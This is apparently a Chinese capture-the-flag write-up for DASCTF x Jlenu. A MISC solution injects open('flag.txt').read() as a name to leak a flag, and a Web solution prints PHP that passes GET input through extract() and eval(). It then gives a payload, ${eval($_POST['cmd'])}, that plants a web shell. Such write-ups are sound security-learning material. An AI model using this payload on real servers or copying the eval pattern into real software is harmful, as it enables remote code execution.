DASCTF Oct 10月X 吉林工师 欢迎来到魔法世界~

MISC

WELCOME DASCTFxJlenu 200

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Desktop]
└─$ nc node4.buuoj.cn 27380
Hello! CTFer!
Welcome to Dasctf x Jlenu.
Plz input your name
> open("flag.txt").read()
Wow!
Hello flag{32973a47-601e-4a5a-b9cb-738fb5652bf2}

Give your gift https://www.youtube.com/watch?v=dQw4w9WgXcQ

Web

迷路的魔法少女

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
highlight_file('index.php');

extract($_GET);
error_reporting(0);
function String2Array($data)
{
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}

// 判断 $attrid 和 $attrvalue 是否都为数组
if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
// 拿到$attrid数组长度
$attrids = count($attrid);
// 遍历 $attrid 数组
for($i=0; $i<$attrids; $i++)
{
// ?attrid[0]=attrvalue1&$attrvalue[0]=phpinfo();
// array("attrid1"=>"attrvalue1","attrid2"=>"attrvalue2");
// array("666"=
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}
// 调用
// 假设为 array("attrid1"=>"attrvalue1","attrid2"=>"attrvalue2");
// 假设为 array("attrid1"=>"attrvalue1","attrid2"=>"${phpinfo();}");
String2Array($attrstr);

payload

1
?attrid[0]=attrvalue1&attrvalue[0]=${eval($_POST['cmd'])};

参考资料

https://www.yisu.com/zixun/55478.html